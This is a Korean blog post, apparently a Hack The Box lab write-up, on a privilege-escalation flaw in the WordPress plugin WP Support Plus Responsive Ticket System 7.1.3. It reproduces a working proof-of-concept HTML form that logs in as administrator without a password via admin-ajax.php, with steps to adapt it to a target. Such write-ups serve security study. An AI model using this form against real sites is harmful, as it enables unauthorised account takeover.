외로운 Nova의 작업실

WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation 본문

Server Penetesting/Exploit-db

WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

Nova_ 2023. 4. 21. 23:04

- 취약점 원리

P Support Plus Responsive Ticket System 7.1.3 버전에서 발견된 특정 취약점으로, 플러그인의 소스코드중  wp_set_auth_cookie() 함수의 잘못된 사용으로 인해 일어나는 취약점 입니다. 누구나 비밀번호를 알지 못해도 다른 사용자로 로그인할 수 있습니다. exploit 폼을 제출하게되면 다른 사용자의 쿠키값이 설정되며 로그인이 가능합니다.

 

- Exploit 코드

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
 
1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Then you can go to admin panel.

 

- 사용법

action 속성의 url을 설정해줍니다. admin-ajax.php파일을 찾아줘야합니다.  wp/wp-admin 경로에 있을 수 도 있고, /wp-admin 경로에 있을 수 있습니다. 잘 찾아서 아래와 같이 코드를 써줍니다. 그리고 원하는 user이름을 value속성에 써줍니다. 저는 administrator이라고 썻습니다.

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="administrator@brainfuck.htb">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

이후 html파일로 저장하고 웹서버를 열어서 접속해줍니다.

이후 login 버튼을 누르면 쿠키값이 설정되며, 이제 원하는 페이지에가면 원하는 유저로 권한을 얻게됩니다.

Comments